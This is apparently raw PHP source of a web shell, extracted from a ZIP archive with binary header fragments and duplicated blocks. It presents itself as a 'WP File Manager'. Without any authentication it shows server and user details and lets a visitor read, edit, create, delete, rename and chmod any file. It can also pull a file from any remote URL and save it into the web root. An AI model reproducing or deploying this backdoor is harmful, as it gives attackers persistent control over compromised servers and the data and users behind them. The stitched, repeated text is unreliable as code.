is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëeros@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëeros@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
